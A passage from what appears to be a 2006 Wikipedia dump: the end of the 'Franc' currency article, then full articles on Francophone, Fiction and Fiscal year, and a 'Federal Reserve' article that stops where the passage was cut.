|- bgcolor=&quot;black&quot; align=&quot;center&quot;
| [[Image:1francofrancese1991front.jpg|1 French franc 1991 coin obverse]]
| [[Image:1francofrancese1991back.jpg|1 French franc 1991 coin reverse]]
|-
! colspan=&quot;2&quot; | 1 French franc 1991
|- bgcolor=&quot;black&quot; align=&quot;center&quot;
| [[Image:1francobelga1996front.jpg|1 Belgian franc 1996 coin obverse]]
| [[Image:1francobelga1996back.jpg|1 Belgian franc 1996 coin reverse]]
|-
! colspan=&quot;2&quot; | 1 Belgian franc 1996
|- bgcolor=&quot;black&quot; align=&quot;center&quot;
| [[Image:1francolussemburgo1990front.jpg|1 Luxembourg franc 1990 obverse]]
| [[Image:1francolussemburgo1990back.jpg|1 Luxembourg franc 1990 coin reverse]]
|-
! colspan=&quot;2&quot; | 1 Luxembourg franc 1990
|- bgcolor=&quot;black&quot; align=&quot;center&quot;
| [[Image:1francomonaco1978front.jpg|1 Monaco franc 1978 coin obverse]]
| [[Image:1francomonaco1978back.jpg|1 Monaco franc 1978 coin reverse]]
|-
! colspan=&quot;2&quot; | 1 Monaco franc 1978
|}

Countries which use francs include [[Switzerland]], [[Liechtenstein]] and most of the [[Francophone]] countries of [[Africa]]. Before the introduction of the [[euro]], francs were also used in [[France]], [[Belgium]] and [[Luxembourg]], while [[Andorra]] and [[Monaco]] accepted the French franc as [[legal tender]]. One franc is typically divided into 100 [[centime|centimes]].

The French franc symbol is an F with a line through it (&amp;#8355;).

==Origins==
The franc was originally a French [[gold]] coin of 3.87 g minted in [[1360]] on the occasion of the release of King [[John II of France|John II (&quot;the good&quot;)]], held by the English since his capture at the [[Battle of Poitiers (1356)|Battle of Poitiers]] four years earlier. It was equivalent to one ''[[livre tournois]]'' (Tours pound).

==French franc==
The [[French franc]] was the national currency of [[France]] from [[1360]] until [[1641]], and from [[1795]] until [[1999]] (franc coins and notes were legal tender until 2002). Though abolished as a legal coin by [[Louis XIII of France|Louis XIII]] in [[1641]] in favor of the gold [[louis (coin)|louis]] and silver [[écu (coin)|écu]], the term franc continued to be used in common parlance for the [[livre tournois]]. The franc was also minted for many of the former French colonies, such as Morocco, Algieria, French West Africa, and others. Today, after independence, many of these countries continue to use the franc as their standard denomination.

==CFA and CFP francs==
Fourteen African countries use the [[CFA franc|franc CFA]] (in west Africa, ''Communauté financière africaine''; in equatorial Africa, ''Coopération financière en Afrique centrale''), originally ([[1945]]) worth 1.7 French francs and then from [[1948]], 2 francs (from 1960: 0.02 new franc) but after January [[1994]] worth only 0.01 French franc. Therefore, from January [[1999]], 1 CFA franc is equivalent to 0.00152449 euro.

A separate ([[CFP franc|franc CFP]]) circulates in [[Islands controlled by France in the Indian and Pacific oceans#Pacific Islands|France's Pacific territories]], worth 0.0084 euro (formerly 0.055 French franc).

==Comorian franc==
In 1981, The [[Comoros]] established an arrangement with the French government similar to that of the CFA franc.  Originally, 50 [[Comorian franc]]s were worth 1 French franc.  In January 1994, the rate was changed to 75 Comorian francs to the French franc.  Since 1999, the currency has been pegged to the euro.

==Belgian and Luxembourg francs==
The conquest of most of western Europe by Revolutionary and Napoleonic France led to the franc's wide circulation. Following independence from the Kingdom of the Netherlands, the new Kingdom of [[Belgium]] in [[1832]] adopted its own franc, equivalent to the French one, followed by [[Luxembourg]] in [[1848]] and Switzerland in [[1850]]. Newly-unified [[Italy]] adopted the lira on a similar basis in [[1862]].

In [[1865]] France, Belgium, Switzerland and Italy created the [[Latin Monetary Union]] (to be joined by [[Greece]] in [[1868]]): each would possess a national currency unit (franc, lira, drachma) worth 4.5 g of silver or 0.290 322 g of gold (fine), all freely exchangeable at a rate of 1:1. In the [[1870s]] the gold value was made the fixed standard, a situation which was to continue until [[1914]].

In [[1926]] [[Belgium]] as well as France experienced depreciation and an abrupt collapse of confidence, leading to the introduction of a new gold currency for international transactions, the ''belga'' of 5 francs, and the country's withdrawal from the monetary union, which ceased to exist at the end of the year. The [[1921]] monetary union of Belgium and Luxembourg survived, however, forming the basis for full economic union in [[1932]].

Like the French franc, the Belgian/Luxemburgese franc ceased to exist in [[January 1]], [[1999]], when it became fixed at 1 EUR= 40.3399 BEF/LUF, thus a franc was worth 0.024789 &amp;euro;. Old  franc coins and notes lost its legal tender status in [[February 28]], 2002.

1 Luxembourg franc was equal to 1 Belgian franc. Belgian francs were legal tender inside Luxembourg and Luxembourg francs were legal tender in Belgium.

The equivalent name of the Belgian franc in [[Dutch language|Dutch]], Belgium's other official language, was &quot;Belgische Frank.&quot;
 
==Swiss franc==
{{main|Swiss franc}}
The [[Swiss_franc|Swiss franc]] ([[ISO 4217|ISO code]]: CHF or 756), which appreciated significantly against the new European currency from April to September 2000, remains one of the world's strongest currencies, worth today around two-thirds of a euro. The [[Swiss_franc|Swiss franc]] is used in [[Switzerland]] and in [[Liechtenstein]].

The name of the country &quot;Swiss Confederation&quot; is found on some of the coins in [[Latin]] (''Confoederatio Helvetica''), as Switzerland has four official languages, all of which are used on the notes. The denomination is abbreviated &quot;Fr&quot; on the coins which is the abbreviation in all four languages.

==Congolese franc==
The [[Congolese franc]] is used in the [[Democratic Republic of Congo]]. Suppressed in [[1967]] by [[Mobutu]], it was re-established in [[1998]] by [[Laurent Kabila]].

==Burundian franc==
Used in [[Burundi]].

==Rwandan franc==
Used in [[Rwanda]].

==Djiboutian franc==
Used in [[Djibouti]]. Pegged to the [[US dollar]] since 1973.

==Guinean franc==
Used in [[Guinea]]. Suppressed in [[1972]] by dictator [[Sékou Touré]], re-established in [[1986]] by his successor [[Lansana Conté]].

==Malagasy franc==
The [[Malagasy franc]] was replaced by the [[Malagasy ariary]] on [[January 1]], [[2005]]. This controversial decision was taken by President [[Marc Ravalomanana]].

==See also==
*[[Latin Monetary Union]]
*[[Burundian franc]]
*[[Cape Verdean escudo]]
*[[Comorian franc]]
*[[Congolese franc]]
*[[Djiboutian franc]]
* The Latverian Franc is the currency of the fictional country of [[Latveria]].
*[[Malagasy franc]]
*[[Rwandan franc]]
*Special settlement currencies
**[[UIC Franc|UIC franc]]
**[[Gold-Franc|gold franc]]
*[[Livre tournois]] (French pound)
*[[Roman currency]]
*[[New Hebrides franc]]

==External links==
*[http://www.cashfollow.ch/ Swiss Franc Tracker - CHF]

{{PreEuroCurrencies}}

[[Category:Currencies of Europe]]

[[ca:Franc (moneda)]]
[[da:Franc]]
[[de:Franc]]
[[es:Franco (moneda)]]
[[fr:Franc]]
[[ko:프랑]]
[[it:Franco (valuta)]]
[[he:פרנק (מטבע)]]
[[ja:フラン (通貨)]]
[[pt:Franco (moeda)]]
[[sl:Frank]]
[[sv:Franc]]
[[zh:法郎]]</text>
    </revision>
  </page>
  <page>
    <title>Francophone</title>
    <id>10816</id>
    <revision>
      <id>39709686</id>
      <timestamp>2006-02-15T08:03:03Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <text xml:space="preserve">{{wiktionary}}
A '''Francophone''' is a person who is able to speak the [[French language]].
Geopolitically, it is used to refer to a person that speaks French as a first language or who self-identifies with this language group. As an adjective, it means French-speaking, whether referring to individuals, groups or places.

In a narrower sense the notion of &quot;Francophone&quot; reaches beyond the dictionary definition of  &quot;French language speaker&quot;. The term specifically refers to people whose cultural background is primarily associated with French language, regardless ethnic and geographical differences. The Francophone culture beyond Europe is the legacy of the [[French colonial empire]] and its arradiation.

Francophone countries include [[France]], [[Belgium]], [[Canada]], [[Switzerland]], [[Haiti]] and the [[French West Indies]], and several countries in [[Africa]] that are former [[French colonies]]. These countries are members of the ''[[La Francophonie]]'' organization.

==See also==
*[[French Canadian]]
*[[Language in Canada]]

[[Category:French language]]
[[Category:History of Canada]]
[[Category:Customary categories of people]]</text>
    </revision>
  </page>
  <page>
    <title>Fiction</title>
    <id>10817</id>
    <revision>
      <id>41848524</id>
      <timestamp>2006-03-02T03:17:56Z</timestamp>
      <contributor>
        <username>Sifaka</username>
        <id>916327</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:Threegraces.jpg|250px|thumb|The [[Charites|Three Graces]], here in a painting by [[Sandro Botticelli]], were the goddesses of charm, beauty, nature, human creativity and fertility in [[Greek mythology]].]]

'''Fiction''' is [[storytelling]] of [[imagination|imagined]] events and stands in contrast to [[non-fiction]], which makes factual claims about [[reality]]. A large part of the appeal of fiction is its ability to evoke the entire spectrum of human [[emotion]]s: to distract our minds, to give us hope in times of despair, to make us laugh, or to let us experience empathy without attachment. Fictional works&amp;mdash;[[novel]]s, [[short story|stories]], [[fairy tales]], [[fables]], [[fictional film|film]]s, [[comic book|comics]], [[interactive fiction]]&amp;mdash;may be partly based on factual occurrences but always contain some imaginary content. The term is also often used synonymously with [[literature]] and more specifically fictional prose. In this sense, fiction refers only to novels or short stories and is often divided into two categories, [[popular fiction]] (e.g., [[science fiction]] or [[mystery fiction]]) and [[literary fiction]] (e.g., [[Victor Hugo]] or [[William Faulkner]]).

Fiction is largely perceived as a form of [[art]] and/or [[entertainment]], although not all fiction is necessarily artistic. Fiction may be created for the purpose of educating, such as fictional examples used in [[school]] textbooks. Fiction is also frequently instrumentalized by [[propaganda]] and [[advertising]]. Fiction may be propagated by parents to their children out of [[tradition]] (e.g. [[Santa Claus]]) or in order to instill certain beliefs and values. [[Fable]]s with an explicit moral goal are not necessarily targeted at children, however.

Fiction may over time blend with factual accounts and develop into [[mythology]]. Many [[atheist]]s perceive [[religion]] as no different from any fictional tale, whereas members of religious groups typically explain their beliefs with [[faith]] and claim they are fundamentally different from fictional tales (although they may call other religious views fictional). The sociological school of [[constructivist epistemology|constructivism]] argues that every view of reality is fundamentally a construction of the self and that a safe distinction between fact and fiction is impossible, whereas the [[philosophy of naturalism]] holds that reality can be approximated and [[truth]] can be demonstrated through usefulness, allowing the distinction from fiction.

Fiction has often been the target of [[censorship]] or [[boycott]]s, escalating into [[book burning]]s or [[banned books|bans]]. Extremist regimes like the [[Taliban]] have been even more prohibitive, restricting all reading to religious texts. There is an ongoing debate regarding sexual content in fiction and whether or not juveniles can be safely exposed to it; opponents of fiction with sexual content typically label it [[pornography]]. 

The [[Internet]] has had a massive impact on the distribution of fiction, calling into question the feasibility of [[copyright]] as a means to ensure [[royalties]] are payed to copyright holders. Also [[digital libraries]] such as [[Project_Gutenberg]] have come into being which make [[public domain]] texts more readily available. The combination of inexpensive home computers, the Internet and the creativity of its users has also led to new forms of fiction, such as interactive [[computer game]]s or computer-generated comics. Countless forums for [[fan fiction]] can be found online, where loyal followers of specific [[fictional realm]]s create and distribute derivative stories. Through open writing systems like [[wiki]]s, collaboratively written fiction is also becoming possible (see the [http://meta.wikipedia.org/wiki/Wikifiction Wikifiction] initiative).

Fiction is a fundamental part of human [[culture]], and the ability to create fiction and other artistic works is frequently cited as one of the defining characteristics of [[humanity]].

==Categories of fiction==
{{main|literary genre}}

==Elements of fiction==
{{main|narratology}}
The fiction writer might use the following to create artistic effects in his or her [[story]]:

*'''[[antagonist]]''': the character that stands in opposition to the protagonist
*'''[[fictional character|character]]''': a participant in the story, usually a person
*'''[[Conflict (narrative)|conflict]]''': a character or problem with which the protagonist must contend
*'''[[climax (narrative)|climax]]''': the story's highest point of tension or drama
*'''[[Dialogue (fiction)|dialogue]]''': the speech of characters as opposed to the narrator
*'''[[plot]]''': a related series of events revealed in [[narrative]]
*'''[[point of view (literature)|point of view]]''': the perspective of the narrator; usually refers to the voice, first or third person.
*'''[[protagonist]]''': the central character of a story
*'''[[Falling action|resolution]]''': the plot component in which the result of the conflict is revealed
*'''[[scene (fiction)|scene]]''': a piece of the story showing the action of one event
*'''[[setting (fiction)|setting]]''': the locale and time of a story that creates mood and atmosphere
*'''[[Dramatic structure|structure]]''': the organization of story elements
*'''[[subplot]]''': a plot that is part of or subordinate to another plot
*'''[[theme (literary)|theme]]''': a conceptual distillation of the story; what the story is about
*'''[[suspension of disbelief]]''': the reader's temporary acceptance of story elements as believable, usually necessary for enjoyment

==See also==
*[[Archive of fictional things]]
*[[Fiction writing]]

==External links==
* [http://www.awardannals.com/genre/fiction/ Most Honored Fiction] at the Book Award Annals
* [http://www.ohiostatepress.org/index.htm?books/book%20pages/Zunshine%20Why.html Why We Read Fiction]
[[Category:Fiction|*]]
[[Category:Narratology|*]]

[[da:Fiktion]]
[[de:Belletristik]]
[[et:Ilukirjandus]]
[[es:Ficción]]
[[eo:Fikcio]]
[[fr:Fiction]]
[[gl:Ficción]]
[[he:בדיון]]
[[nl:Fictie]]
[[ja:フィクション]]
[[pt:Ficção]]
[[sq:Fiktiv]]
[[sv:Fiktion]]</text>
    </revision>
  </page>
  <page>
    <title>Fiscal year</title>
    <id>10818</id>
    <revision>
      <id>39440014</id>
      <timestamp>2006-02-13T03:34:58Z</timestamp>
      <contributor>
        <ip>70.116.30.38</ip>
      </contributor>
      <comment>/* Why does the fiscal year often not match the calendar year? */</comment>
      <text xml:space="preserve">A '''fiscal year''' or '''financial year''' is a 12-[[month]] period used for calculating annual (&quot;yearly&quot;) [[financial statement|financial reports]] in [[corporation|businesses]] and other organizations. In many jurisdictions, regulatory [[law]]s regarding [[accounting]] require such reports once per twelve months, but do not require that the twelve months constitute a [[calendar year]] (i.e. January to December).

However, a new company or business has to decide at the beginning on which month its fiscal year will start, and then (generally) stay with it.  In the United States, the business' tax year is the same as its fiscal year, and must file its tax return by the 15th day of the third month following the fiscal year end (most often March 15).

==Why does the fiscal year often not match the calendar year?==
Often the fiscal or tax year is specifically established not to match the calendar year so that accounting year-end work does not align with key [[holiday]] periods. In western traditions, the end of December (being also the end of the calendar year) is a time of celebration that includes such holidays as Hanukkah and Christmas and is sometimes referred to as the &quot;holiday season&quot;. Generally, the fiscal year tends to end at a time that purposely does not coincide with key holiday periods but rather at a time when businesses are in full operation.

A popular use of a non-calendar year as the fiscal year involves retailers. Under the accounting principle of &quot;matching&quot; income and related expenses should be aligned as closely as possible within the same fiscal year. As many unwanted or defective Christmas items are returned in January, a fiscal year based on the calendar year would see sales in one year and the associated returns in the following year. Therefore, retailers commonly use a month other than December to end their fiscal year (January is a popular choice, since by month's end most returns have already taken place).

==Operation in various countries==
Such fiscal years are typically numbered using a calendar year and quarter thereof. A fiscal year [[quarter]] is 3 months (1/4 of a year) long. For example, the [[United States Government]] fiscal year for 2006 (&quot;FY06,&quot; sometimes written &quot;FY05-06&quot;) is as follows:
*1st Quarter: [[October 1]], [[2005]] - [[December 31]], [[2005]]
*2nd Quarter: [[January 1]], [[2006]] - [[March 31]], [[2006]]
*3rd Quarter: [[April 1]], [[2006]] - [[June 30]], [[2006]]
*4th Quarter: [[July 1]], [[2006]] - [[September 30]], [[2006]]
So the U.S. Government's fiscal year begins on October 1 of the previous calendar year and ends on September 30 of the year with which it is numbered. However, as stated above, the tax year for a business is governed by the fiscal year it chooses.

The [[Australian]] government's fiscal year begins on July 1 and concludes on June 30 of the following year. In [[Canada]], the [[United Kingdom]], [[India]] and [[Hong Kong]], the government's financial year runs from [[April 1]] to [[March 31]], and [[United Kingdom corporation tax|corporation tax]] is charged by reference to that period. However, in the UK, the personal '''tax year''' (which governs liability to [[income tax]] and [[capital gains tax]]) runs from [[April 6]] to [[April 5]]. This reflects the old [[ecclesiastical calendar]], with [[New Year]] falling on [[March 25]] (''[[Lady Day]]''), the difference between [[April 6]] and [[March 25]] being accounted for by the eleven days &quot;missed out&quot; when [[Great Britain]] converted from the [[Julian Calendar]] to the [[Gregorian Calendar]] in [[1752]] (the British tax authorities were unwilling to lose 11 days of tax revenue, so the 1752/3 tax year was extended by 11 days).

Companies that are units within a &quot;group&quot; of businesses must all use nearly the same fiscal year (differences of up to three months are permitted in most jurisdictions, such as the U.S. and [[Japan]]), with consolidating entries to adjust for transactions between units with different fiscal years, so the same resources will not be counted more than once or not at all.

==References==
*StreetAuthority.com's [http://www.streetauthority.com/terms/f/fiscalyear.asp Financial Glossary]


[[de:Wirtschaftsjahr]]
[[eo:Financa jaro]]
[[sv:Räkenskapsår]]

[[Category:Accounting]]
[[Category:Taxation]]
[[Category:Calendars]]</text>
    </revision>
  </page>
  <page>
    <title>Federal Reserve</title>
    <id>10819</id>
    <revision>
      <id>41855690</id>
      <timestamp>2006-03-02T04:18:38Z</timestamp>
      <contributor>
        <ip>84.56.226.231</ip>
      </contributor>
      <comment>/* Criticism */</comment>
      <text xml:space="preserve">[[Image:Federal Reserve.jpg|right|thumb|300px|The Federal Reserve System is headquartered in the [[Eccles Building]] on [[Constitution Avenue (DC)|Constitution Avenue]] in [[Washington, DC]].]]

The '''Federal Reserve System''' (also the '''Federal Reserve'''; informally '''The Fed''') is the [[central bank|central banking system]] of the [[United States]].

The Federal Reserve System is composed of a central Board of Governors in [[Washington, D.C.]], twelve regional Federal Reserve Banks located in major cities throughout the nation, numerous member banks and other entities (see below). [[Ben Bernanke]] serves as the [[Chairman of the Federal Reserve|Chairman of the Board of Governors of the Federal Reserve]].

The Federal Reserve System was created in 1913 by the [[Federal Reserve Act]].  It includes a system of eight to twelve regional reserve banks, owned by its commercial member banks and supervised by the Federal Reserve Board. The board and its chairman are appointed by the [[President of the United States|president]] and approved by the Senate.

==Background==
{{main|History of Central Banking in the United States}}

The first '''institution''' with responsibilities of a central bank in the U.S. was the [[First Bank of the United States]], chartered in 1791. Later, in 1816, the [[Second Bank of the United States]] was chartered. From 1837 to 1862, in the ''Free Banking Era'' there was no formal central bank, while from 1862 to 1913, a system of [[national bank]]s was instituted by the 1863 [[National Banking Act]]. A series of [[bank run]]s later provided the impetus for the creation of a more centralized banking system.

The Federal Reserve Board was created by the [[Congress of the United States|U.S. Congress]] through the passing of the [[Federal Reserve Act]] (or ''Owen-Glass Act''), signed into law by President [[Woodrow Wilson]] on [[December 23]], [[1913]].

== Roles and responsibilities ==
The main tasks of the Federal Reserve are:
* Supervise and regulate banks
* Implement [[monetary policy]] by [[open market operation]]s, setting the [[discount rate]], and setting the [[Fractional-reserve banking|reserve ratio]]
* Maintain a strong payments system
* Control the amount of [[currency]] that is made and destroyed on a day to day basis (in conjunction with the [[United States Mint|Mint]] and [[Bureau of Engraving and Printing]])
Other tasks include:
* Economic research
* Economic education
* Community outreach

== Organization of the Federal Reserve == 
[[Image:Eccles Building south side.jpg|thumb|300px|Federal Reserve headquarters, Eccles Building, Washington, DC.]]

The basic structure of the Federal Reserve System includes:

*The Board of Governors of the Federal Reserve System;

*The [[Federal Open Market Committee]];

*The Federal Reserve Banks;

*The member banks.

Each Federal Reserve Bank and each member bank of the Federal Reserve System is subject to oversight by a Board of Governors (see generally {{usc|12|248}}). The 7 members of the board are appointed by the [[President of the United States|President]] and confirmed by the [[United States Senate|Senate]]. See {{usc|12|241}}. Members are selected to terms of 14 years (unless removed by the President for cause), with the ability to serve for no more than one term. See {{usc|12|242}}. A governor may serve the remainder of another governor's term in addition to his or her own full term.

The current members of the [[Board of Governors]] are:
*[[Ben Bernanke]], Chairman
*[[Roger W. Ferguson, Jr.]], Vice-Chairman
*[[Susan Bies]]
*[[Donald Kohn]]
*[[Mark Olson]]

After the retirement of [[Alan Greenspan]] and the reappointment of [[Ben Bernanke]], two positions on the Board remain open.

As of Februrary 22, 2006 Vice-Chairman Roger W. Ferguson, Jr the last remaining Democrat on the Reserve board resigned.

The [[Federal Open Market Committee]] (FOMC) comprises the 7 members of the board of governors and 5 representatives selected from the Federal Reserve Banks.  The representative from the 2nd District, [[New York]], is a permanent member, while the rest of the banks rotate on two and three year intervals.

== Control of the Money Supply==
The Federal Reserve controls the size of the money supply by conducting [[Open Market Operations]], in which the Federal Reserve engages in the lending or purchasing of specific types of securities with authorized participants, known as the Fed's [[primary dealers]]. All Open Market Operations in the United States are conducted by the Open Market Desk at the [[Federal Reserve Bank of New York]] with an aim to making the [[federal funds rate]] as close to the target rate as possible. For a detailed look at the process by which changes to a reserve account held at the Fed affect the wider monetary supply of the economy, see [[money creation]].

The Open Market Desk has two main tools to adjust the monetary supply, repurchase agreements and outright transactions. 

To smooth temporary or cyclical changes in the monetary supply, the desk engages in [[repurchase agreement]]s (repos) with its primary dealers. Repos are essentially secured, short-term lending by the Fed. On the day of the transaction, the Fed deposits money in a primary dealer’s reserve account, and receives the promised securities as collateral. When the transaction matures, the process unwinds: the Fed returns the collateral and charges the primary dealer’s reserve account for the principal and accrued interest. The term of the repo (the time between settlement and maturity) can vary from 1 day (called an overnight repo) to 65 days, though the Fed will most commonly conduct overnight and 14-day repos. 

Since there is an increase of bank reserves during the term of the repo, repos temporarily increase the money supply. The effect is temporary since all repo transactions unwind, with the only lasting net effect being a slight depletion of reserves caused by the accrued interest (think one day of interest at a 4.5% annual yield, or (.045/365) = .00012). The Fed has conducted repos almost daily in 2004-2005, but can also conduct reverse repos to temporarily shrink the money supply.

In a reverse repo the Fed will borrow money from the reserve accounts of primary dealers in exchange for [[Treasury security|Treasury securities]] as collateral. At maturity, the Fed will return the money to the reserve accounts with the accrued interest, and collect the collateral. Since this drains reserves, reverse repos temporarily contract the monetary supply, except, again, for the extremely small lasting increase caused by the accrued interest.

The other main tool available to the Open Market Desk is the outright transaction. Outrights differ from repos in that they permanently alter the money supply. Outright transactions overwhelmingly involve the purchase of Treasury securities in the secondary market. 

In an outright purchase, the Fed will buy Treasury securities from primary dealers and finance these purchases by depositing newly created money in the dealer’s reserve account at the Fed. Since this operation does not unwind at the end of a set period, the resulting growth in the monetary supply is permanent. The Fed also has the authority to sell Treasuries in an outright, but this has been exceedingly rare since the 1980's. The sale of Treasury securities results in a permanent decrease in the money supply, as the money used as payment for the securities from the primary dealers is removed from their reserve accounts, thus working the money multiplier (see [[Money creation]]) process in reverse.

== Discount rates ==
[[Image:Federal Funds Rate (effective).png|thumb|right|250px|The effective federal funds rate charted over fifty years]]
The Federal Reserve implements [[monetary policy]] largely by targeting the [[federal funds rate]]. This is the rate that banks charge each other for overnight loans of [[federal funds]], which are the reserves held by banks at the Fed.

The Federal Reserve also directly sets the [[discount rate#Monetary Policy|discount rate]], which is the interest rate that banks pay the Fed to borrow directly from it.  However, a bank will prefer to borrow Fed funds from another bank, rather than from the Fed at the normally higher discount rate, which might suggest problems with the bank's credit-worthiness or solvency. 

Both of these rates influence the [[Wall Street Journal prime rate|prime rate]] which is usually about 3 percentage points higher than the federal funds rate. The prime rate is the rate that most banks price their loans at for their best customers.

Lower interest rates stimulate economic activity by lowering the cost of borrowing, making it easier for consumers and businesses to buy and build.  Higher interest rates slow the economy by increasing the cost of borrowing. (See [[monetary policy]] for a fuller explanation.) 

The Federal Reserve usually adjusts the federal funds rate by 0.25% or 0.50% at a time. From early 2001 to mid 2003 the Federal Reserve lowered its interest rates 13 times, from 6.25 to 1.00%, to fight [[recession]]. In [[November]] [[2002]], rates were cut to 1.75, and many interest rates went below the [[inflation]] rate. (This is known as a ''negative'' real interest rate, because money paid back from a loan with an interest rate less than inflation has lower purchasing power than it had before the loan.)  On [[June 25]], [[2003]], the federal funds rate was lowered to 1.00%, its lowest nominal rate since July, 1958, when the overnight rate averaged 0.68%.   Starting at the end of [[June]], [[As of 2004|2004]], the Federal Reserve started to raise the target interest rate.  As of February 2006, the rate is at 4.50%; this is the result of fourteen 0.25% increases.

The Federal Reserve might also attempt to use [[open market operations]] to change long-term interest rates, but its &quot;buying power&quot; on the market is significantly smaller than that of private institutions. The Fed can also attempt to &quot;jawbone&quot; the markets into moving towards the Fed's desired rates, but this is not always effective.

== The Federal Reserve Banks and the member banks ==
[[Image:US_fed_res_regions.gif|thumb|right|250px|Federal Reserve Regions]]
The twelve regional Federal Reserve Banks, which were established by the Congress as the operating arms of the nation's central banking system, are organized much like private corporations&amp;mdash;possibly leading to some confusion about &amp;#8220;ownership.&amp;#8221; For example, the Reserve Banks issue shares of stock to member banks. However, owning Reserve Bank stock is quite different from owning stock in a private company. The Reserve Banks are not operated for profit, and ownership of a certain amount of stock is, by law, a condition of membership in the System. The stock may not be sold or traded or pledged as security for a loan; dividends are, by law, limited to 6% per year.[http://minneapolisfed.org/info/sys/faq/frs.cfm#3] The largest of the Reserve Banks, in terms of assets, is the [[Federal Reserve Bank of New York]], which is responsible for the Second District covering the state of [[New York]], the [[New York City]] region, [[Puerto Rico]], and the [[U.S. Virgin Islands]].

The dividends paid by the Federal Reserve Banks to member banks are considered partial compensation for the lack of interest paid on member banks' required reserves held at the Federal Reserve Banks. By law, banks in the United States must maintain [[Fractional-reserve banking|fractional reserves]], most of which are kept on account at the Fed. The Federal Reserve does not pay interest on these funds.

The Federal Reserve System was created via the Federal Reserve Act of 1913 which &quot;established a new central bank designed to add both flexibility and strength to the nation's financial system.&quot; The legislation provided for a system that included a number of regional Reserve Banks and a seven-member governing board. All national banks were required to join the system and other banks could join. The Reserve Banks opened for business in November 1914. Congress created [[Federal Reserve Note]]s to provide the nation with an elastic supply of currency. The notes were to be issued to Reserve Banks for subsequent transmittal to banking institutions in accordance with the needs of the public.

The Federal Reserve Districts are listed below along with their identifying letter and number. These are used on [[Federal Reserve Note]]s to identify the issuing bank for each note.
:[[Federal Reserve Bank of Boston|Boston]] A 1 [http://www.bos.frb.org/]
:[[Federal Reserve Bank of New York|New York]] B 2 [http://www.newyorkfed.org/]
:[[Federal Reserve Bank of Philadelphia|Philadelphia]] C 3 [http://www.philadelphiafed.org/]
:[[Federal Reserve Bank of Cleveland|Cleveland]] D 4 [http://www.clevelandfed.org/]
:[[Federal Reserve Bank of Richmond|Richmond]] E 5 [http://www.richmondfed.org/]
:[[Federal Reserve Bank of Atlanta|Atlanta]] F 6 [http://www.frbatlanta.org/]
:[[Federal Reserve Bank of Chicago|Chicago]] G 7 [http://www.chicagofed.org/]
:[[Federal Reserve Bank of St Louis|St Louis]] H 8 [http://www.stlouisfed.org/]
:[[Federal Reserve Bank of Minneapolis|Minneapolis]] I 9 [http://www.minneapolisfed.org/]
:[[Federal Reserve Bank of Kansas City|Kansas City]] J 10 [http://www.kansascityfed.org/]
:[[Federal Reserve Bank of Dallas|Dallas]] K 11 [http://www.dallasfed.org/]
:[[Federal Reserve Bank of San Francisco|San Francisco]] L 12 [http://www.frbsf.org/]

==Legal Status and Position in Government==
The Board of Governors of the Federal Reserve System is an [[Independent agencies of the United States government|independent government agency]].  It is subject to laws like the [[Freedom of Information Act]] and the [[Privacy Act]] which cover Federal agencies and not private entities. However, its decisions do not have to be ratified by the [[President of the United States|President]] or anyone else in the [[executive (government)|executive]] or [[legislative]] branches of government, it does not receive funding from Congress, and the terms of the members of the Board of Governors span multiple presidential and congressional terms. Once a member of the Board of Governors is appointed by the president, he or she is relatively independent (although the law provides for the possibility of removal by the President &quot;for cause&quot; under 12 U.S.C. section 242).

In ''Lewis v. United States'', 680 F.2d 1239 (9th Cir. 1982), the [[United States Court of Appeals for the Ninth Circuit]] stated that the &quot;Federal reserve banks are not federal instrumentalities for purposes of a Federal Torts Claims Act, but are independent, privately owned and locally controlled corporations.&quot; The opinion also stated that &quot;the Reserve Banks have properly been held to be federal instrumentalities for some purposes.&quot;

===Influence of Government===
Central bank independence from political control is a crucial concept in both economic theory and practice. The problem arises as central banks strive to maintain a credible commitment to price stability, when the markets know that there is political pressure to keep interest rates low. Low interest rates tend to keep unemployment below trend, encourage economic growth, and allow for cheap credit and loans. Unfortunately, such a policy is not sustainable without accelerating inflation in the long term. Thus, a central bank believed to be under political control cannot make a credible commitment to fight inflation, as the markets know that sitting politicians will lobby to keep rates low. This point was one of the major research topics of economist [[Edward C. Prescott]]'s career. It is in this limited sense that the Federal Reserve System is independent. The members of the FOMC are not elected and do not answer to politicians in making their interest rate decisions.

The Federal Reserve is financially independent because it runs a surplus, due in part to its ownership of [[government bond]]s. In fact, it returns billions of dollars to the government each year.  However, the Fed is still subject to oversight by the Congress, which periodically reviews its activities and can alter its responsibilities by [[statute]]. To further communication with Congress, the Fed delivers a [[Monetary Policy Report to the Congress|report]] to both houses semiannually.  Its independence from the [[executive branch]] was strengthened by the [[1951 Accord]].  In general, the Federal Reserve must work within the framework of the overall objectives of economic and financial policy established by the government.

==Fractional-Reserve Banking==
{{main|fractional-reserve banking}}
In its role of setting reserve requirements for the country's banking system, the Fed regulates what is known as [[fractional-reserve banking]].  This is the common practice by banks of retaining only a fraction of their deposits to satisfy demands for withdrawals, lending the remainder at interest to obtain income that can be used to pay interest to depositors and provide profits for the banks' owners.  Some people also use the term to refer to [[fiat money]], which is money that is not backed by a tangible asset such as [[gold]].

Fractional reserves are very easily abused and rules for these will necessarily favour certain activities in the economy very systematically over others.  The United States' rules and oversight are within limits and guidelines set by the [[Bank for International Settlements]], a peer agency to the [[IMF]] and the [[World Bank]] that was originally set up as one of the [[Bretton Woods]] set of institutions.  More recently the [[WTO]] has been regarded also as such a peer.  

==Criticisms of the Fed==
[[Image:Alan Greenspan.jpg|thumb| Critics charge that a [[cult of personality]] surrounds [[Alan Greenspan]] ]]
A large and varied group of criticisms are often directed against the Federal Reserve. Some of these criticisms relate to [[inflation]] and [[fractional reserve banking]] more generally, and an in-depth treatment of these issues may be found in their respective articles. There are also specific issues relating to the chairmanship of [[Alan Greenspan]], specifically, that the Fed’s credibility is based on a [[cult of personality]] around him and his successors, this line of argument is also more thoroughly addressed in his article. Nonetheless, critics still point to a number of specific criticisms about the methods and actions of the Fed; these are treated below.

=== Historical Criticisms ===
Criticisms of the Fed are not new, and some historical criticisms are reflective of current concerns. Specifically, [[Austrian School]] economists criticize the Fed’s expansionary monetary policy in the 1920’s, allowing misallocations of capital resources and supporting a massive stock price bubble. Others argue that the Fed then deepened the resulting [[Great Depression]] by contracting the money supply at the very moment that markets needed liquidity. These criticisms resemble concerns that the current Fed over-emphasizes consumer spending, and has thus not been aggressive enough in reducing U.S. dependence on oil and energy-intensive capital goods, and allowing household debt to accumulate to excessively large levels.

=== Economic Indicators ===
